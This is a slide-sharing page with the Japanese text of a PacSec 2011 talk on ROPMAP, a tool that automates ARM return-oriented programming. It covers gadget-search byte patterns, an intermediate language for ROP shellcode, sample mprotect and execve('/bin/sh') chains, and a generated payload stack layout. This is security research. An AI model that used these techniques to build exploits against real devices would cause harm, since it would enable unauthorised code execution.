Arm ropmap
This presentation is the property of its rightful owner.
Sponsored Links
1 / 44

ARM 攻略の ROPMAP PowerPoint PPT Presentation


  • 44 Views
  • Uploaded on
  • Presentation posted in: General

ARM 攻略の ROPMAP. Long Le – Thanh Nguyen {longld, thanh }@ vnsecurity.net. PacSec 2011. 最初に自己紹介. VNSECURITY.NET CLGT CTF チーム 免責事項:ここで紹介する見解と研究は、 VNSECURITY の研究グループによるものであり、他のいかなる組織・企業の見解や研究を代表するものではありません. きっかけ. 公開されている ARM ROP が無い objdump / otool + grep シェルコード・ペイロードはハードコードされて い る

Download Presentation

ARM 攻略の ROPMAP

An Image/Link below is provided (as is) to download presentation

Download Policy: Content on the Website is provided to you AS IS for your information and personal use and may not be sold / licensed / shared on other websites without getting consent from its author.While downloading, if for some reason you are not able to download a presentation, the publisher may have deleted the file from their server.


- - - - - - - - - - - - - - - - - - - - - - - - - - E N D - - - - - - - - - - - - - - - - - - - - - - - - - -

Presentation Transcript


Arm ropmap

ARM 攻略のROPMAP

Long Le – Thanh Nguyen

{longld, [email protected]

PacSec 2011


Arm ropmap

最初に自己紹介

  • VNSECURITY.NET

  • CLGT CTF チーム

    免責事項:ここで紹介する見解と研究は、VNSECURITYの研究グループによるものであり、他のいかなる組織・企業の見解や研究を代表するものではありません

ARM EXPLOITATION ROPMAP


Arm ropmap

きっかけ

  • 公開されているARM ROPが無い

    • objdump/otool+ grep

  • シェルコード・ペイロードはハードコードされている

  • 簡単なガジェットが複雑なオートメーションを打ち負かせる

    • comex’sjailbreakme

ARM EXPLOITATION ROPMAP


Arm ropmap

本セッションの内容

  • X86 ROPツールキットをARMに拡張

  • ROPシェルコードのための中間言語

  • ARM用のROP自動化の実装

    • ガジェット・チェーンに対してROPシェルコード

    • ペイロードに対してガジェット・チェーン

ARM EXPLOITATION ROPMAP


Arm ropmap

プレゼン終了後には・・・

ARM EXPLOITATION ROPMAP


Rop arm

ROPツールキットをARMに拡張

ARM EXPLOITATION ROPMAP


X86 arm

X86からARMへ:レジスタ

ARM EXPLOITATION ROPMAP


X86 arm1

X86からARMへ:アセンブリ

ARM EXPLOITATION ROPMAP


X86 arm2

X86からARMへ:シェルコード

ARM EXPLOITATION ROPMAP


X86 arm rop

X86からARMへ:ROP ガジェット

ARM EXPLOITATION ROPMAP


Arm ropmap

ガジェットの検出

  • 「RET」を検索

    • pop {…, pc}

      • “.\x80\xbd\xe8” (ARM)

      • “.\xbd” (THUMB)

    • bx Rm / blxRm

      • “.\xff\x2f\xe1”(ARM)

      • “.\x47”(THUMB)

  • 後ろ方向にディスアセンブル

    • 2バイトから4バイトおきに

  • 自身のARMディスアセンブリライブラリを使用してみる

ARM EXPLOITATION ROPMAP


Arm ropmap

クイック・デモ

ARM EXPLOITATION ROPMAP


Arm ropmap

ROPシェルコードのための中間言語

ARM EXPLOITATION ROPMAP


Arm ropmap

ROPシェルコード

  • 一般的なペイロード

    • ライブラリ・コールを連続実行

    • DEP/NXを無効化

    • 通常のシェルコードを転送・実行

  • 一般的なオペレーション

    • レジスタの割当

    • データの異動

    • 関数呼び出しかsyscallを実行

source: comex’s star_ framework

ARM EXPLOITATION ROPMAP


Arm ropmap

ROP中間言語

  • 簡単な疑似アセンブルコード

  • 6つの命令

  • ネイティブ・レジスタ

  • 読み出し・書き込み・実装が容易

ARM EXPLOITATION ROPMAP


Rop il

ROP IL

命令

LHS

RHS

  • ROP命令

  • LOAD

  • STORE

  • ADJUST

  • CALL

  • SYSCALL

  • NOP

  • LHS/RHSタイプ

  • REG:レジスタ

  • VAL: 値

  • REF:レジスタの参照先

  • MEM:メモリの参照先

  • NON

ARM EXPLOITATION ROPMAP


Rop il1

ROP IL:ロード

  • レジスタに値をロード

ARM EXPLOITATION ROPMAP


Rop il2

ROP IL:格納

  • レジスタに値を格納

ARM EXPLOITATION ROPMAP


Rop il3

ROP IL:調整

  • レジスタの値に加減算を行う

ARM EXPLOITATION ROPMAP


Rop il4

ROP IL:呼び出し

  • 関数を呼び出す・関数にジャンプする

ARM EXPLOITATION ROPMAP


Rop il5

ROP IL:システムコール

  • システムコール

ARM EXPLOITATION ROPMAP


Arm ropmap

シェルコードのサンプル(1)

  • mprotect(writable, size, flag)

    • LOAD r0, #writable

    • LOAD r1, #size

    • LOAD r2, #flag

    • LOAD r7, #0x7d

    • SYSCALL

  • execve(“/bin/sh”, 0, 0): known “/bin/sh” address

    • LOAD r0, #binsh_address

    • LOAD r1, #0

    • LOAD r2, #0

    • LOAD r7, #0xb

    • SYSCALL

ARM EXPLOITATION ROPMAP


Arm ropmap

シェルコードのサンプル(2)

  • execve(“/bin/sh”, 0, 0): use known writable data region to store “/bin/sh”

    • STORE [#writable], #0x6e69622f ; “/bin”

    • STORE [#writable+0x4], #0x68732f ; “/sh”

    • LOAD r0, #writable

    • LOAD r1, #0

    • LOAD r2, #0

    • LOAD r7, #0xb

    • SYSCALL

ARM EXPLOITATION ROPMAP


Arm ropmap

高級ラッパーの例(1)

  • syscall(sysnum, *args)

    • LOAD r0, #arg1

    • LOAD r1, #arg2

    • LOAD r2, #arg3

    • LOAD r3, #arg4

    • LOAD r4, #arg5

    • LOAD r5, #arg6

    • LOAD r7, #sysnum

    • SYSCALL

ARM EXPLOITATION ROPMAP


Arm ropmap

高級ラッパーの例(2)

  • funcall(address, *args)

    • LOAD r0, #arg1

    • LOAD r1, #arg2

    • LOAD r2, #arg3

    • LOAD r3, #arg4

    • $arg5

    • CALL #address

ARM EXPLOITATION ROPMAP


Arm ropmap

高級ラッパーの例(3)

  • save_result(target)

    • STORE [#target], r0

  • write4_with_offset(reference, value, offset)

    • LOAD r0, [#reference]

    • ADJUST r0, #offset

    • STORE [r0], #value

ARM EXPLOITATION ROPMAP


Ropmap

ROPMAPの実装

ARM EXPLOITATION ROPMAP


Arm ropmap

ROPの自動化

  • 自動化は手間がかかる

    • 命令の関数化

    • SMT/STPソルバ

  • 既存のツールキット

    • DEPLib

      • ミニ ASM 言語

      • ARMはサポートしていない

    • Roppery (WOLF)

      • REIL

      • 公になっていない

ARM EXPLOITATION ROPMAP


Ropmap1

ropmap

  • ROPMAP

    • ROP命令をASMガジェットに直接マッピング

    • LHS/RHSタイプはASMガジェットで使用可能

    • Primitiveガジェット

  • CHAINMAP

    • ROP命令を間接的にROPチェインにマッピング

    • LHS/RHSタイプはASMガジェットで使用不能

  • ガジェットを検索・連結するためのエンジン

  • ペイロードを生成

ARM EXPLOITATION ROPMAP


Ropmap2

ROPMAPサンプル:ロード

mov Rm, #value

mov Rm, Rn

pop {Rm, …, pc}

add Rm, Rn

LOAD Rm, #value

LOAD Rm, Rn

ldr Rm, [sp …]

sub Rm, Rn

LOAD Rm, [Rn]

ldr Rm, [Rn …]

LOAD Rn, #addr

LOAD Rm, [Rn]

LOAD Rm, [#addr]

ARM EXPLOITATION ROPMAP


Ropmap3

ROPMAPサンプル:格納

STORE [Rm], Rn

str Rn, [Rm …]

LOAD Rn, #value

STORE [Rm], Rn

STORE [Rm], #value

LOAD Rn, [#addr]

STORE [Rm], Rn

STORE [Rm], [#addr]

LOAD Rn, [#target]

STORE [Rn], Rm

STORE [#target], Rm

LOAD Rm, #value

STORE [#target], Rm

STORE [#target], #value

LOAD Rn, [#addr]

STORE [#target], Rn

STORE [#target], [#addr]

ARM EXPLOITATION ROPMAP


Arm ropmap

アセンブラ・円にjん

  • 前提

    • バイナリは十分なPrimitiveガジェットを持っている

    • Primitiveガジェットを繋げる方が複雑なガジェットを見つけるよりも簡単

  • アプローチ

    • ガジェット候補を探す

      • ガジェットをソートする(簡単なスコアリング)

    • ペアマッチングでガジェットを連結

      • LHS 対 RHS

      • LHS 対 LHS

    • 基本的な検証ルールを適用

      • 値を突合

      • レジスタをチェック

ARM EXPLOITATION ROPMAP


Arm ropmap

ペアを突合

pop {r4 pc}

MATCHED

MATCHED

MATCHED

ldr r0 [r4 #4] ;

pop {r4 r5 r6 r7 pc}

STORE [#target], [#addr]

pop {r4 pc}

str r0 [r4 #16] ;

mov r0 r3 ;

pop {r1 r2 r3 r4 r5 pc}

ARM EXPLOITATION ROPMAP


Arm ropmap

ガジェット検証

ldr r6 [r5 #4] ;

sub r0 r0 r6 ;

pop {r4 r5 r6 pc}

LOAD r6, [r5]

TAINTED

TAINTED

ldr r1 [r5 #36] ;

ldr r5 [r4 #36] ;

sub r0 r1 r5 ;

add sp sp #36 ;

pop {r4 r5 r6 r7 pc}

STORE [r1], [r5]

ARM EXPLOITATION ROPMAP


Arm ropmap

ROPシェルコードからガジェット・チェーンまで

  • execve(“/bin/sh”, 0, 0)

# ROP code: load r0, #0xdeadbeef

--------------------------------------------------------------------0xdc68L : pop {r0 pc} ;;

--------------------------------------------------------------------# ROP code: load r1, #0

-------------------------------------------------------------------

0x16a6dL : pop {r1 r7 pc} ;;

--------------------------------------------------------------------

# ROP code: load r2, #0

--------------------------------------------------------------------

0x30629L : pop {r2 r3 r6 pc} ;;

--------------------------------------------------------------------# ROP code: load r7, #0xb

--------------------------------------------------------------------0x16a6dL : pop {r1 r7 pc} ;;

--------------------------------------------------------------------# ROP code: syscall

--------------------------------------------------------------------0xc734L : svc 0x00000000 ; pop {r4 r7} ; bx lr ;;

--------------------------------------------------------------------

ARM EXPLOITATION ROPMAP


Arm ropmap

ペイロード生成(1)

  • 入力

    • ROP IL命令

    • ガジェット

    • 定数

    • 制約と値を結合

  • 出力

    • スタック・レイアウト

    • 出力値は高級ROPラッパーに使用可能

    • サイズ最適化は行わない

ARM EXPLOITATION ROPMAP


Arm ropmap

ペイロード生成(2)

  • アプローチ

    • ガジェット・エミュレーション

      • スタック関連の操作をエミュレート

    • スタック位置に必要な値を再書き込み

      • LHS/RHS リバース・マッチング

      • 簡単な数学的演算

    • 次の命令へのバインディング値をフィードバック

ARM EXPLOITATION ROPMAP


Arm ropmap

リバース・マッチング

r4 = #address - 4

MATCHED

(1)

MATCHED

(2)

pop {r4 pc}

LOAD r0, [#address]

ldr r0 [r4#4] ;

pop {r4 r5 r6 r7 pc}

r4 = #address - 4

ARM EXPLOITATION ROPMAP


Arm ropmap

ガジェット・エミュレーション

  • 単一のガジェット

  • スタック関係のオペレーションのみ

JUNK+4

uninitialized

registers

JUNK+3

SP = SP+3

JUNK+2

JUNK+2

SP

r7 = JUNK+2

JUNK+1

JUNK+1

r3 = JUNK+1

JUNK

JUNK

r2 = JUNK

SP

Execute

pop {r2 r3 r7 pc} ;;

Init state

r2 = 0x0

r7 = 0xb

value constraints

ARM EXPLOITATION ROPMAP


Arm ropmap

スタックへの再書き込み

  • ペイロード=スタック上の値

SP

SP = SP+3

0xb

JUNK+2

SP

r7 = JUNK+2

JUNK+1

JUNK+1

r3 = JUNK+1

pop {r2 r3 r7 pc} ;;

0x0

JUNK

Payload

r2 = JUNK

r2 = 0x0

r7 = 0xb

Write back

ARM EXPLOITATION ROPMAP


Arm ropmap

アウトプット・ペイロード

  • execve(“/bin/sh”, 0, 0)

# ROP code: load r0, #0xdeadbeef

# pop {r0 pc}

[ BASE+0x2d38, 0xdeadbeef ]

# ------------------------------------------------------------------

# ROP code: load r1, #0

# pop {r1 r7 pc}

[ BASE+0xbb3d, 0x0, 0x4b4e554b ]

# ------------------------------------------------------------------

# ROP code: load r2, #0

# pop {r2 r3 r6 pc}

[ BASE+0x256f9, 0x0, 0x4b4e554b, 0x4b4e554c ]

# ------------------------------------------------------------------

# ROP code: load r7

# pop {r1 r7 pc}

[ BASE+0xbb3d, 0x0, 0xb ]

# ------------------------------------------------------------------

# ROP code: syscall

# svc 0x00000000 ; pop {r4 r7} ; bx lr

[ BASE+0x1804, 0x4b4e554a, 0xb ]

# ------------------------------------------------------------------

ARM EXPLOITATION ROPMAP


Arm ropmap

デモ

ARM EXPLOITATION ROPMAP


Arm ropmap

今後の計画

  • アウトプット・ペイロードの最適化

    • 重複の減少

  • ARM Thumb-2をサポート

    • より多くのガジェットが使用可能

  • x86/x86_64へ拡張(現在は一部のみ)

  • 条件付きのジャンプ・ループ命令

ARM EXPLOITATION ROPMAP


Arm ropmap

ご清聴ありがとうございました。ご質問をどうぞ

ARM EXPLOITATION ROPMAP


  • Login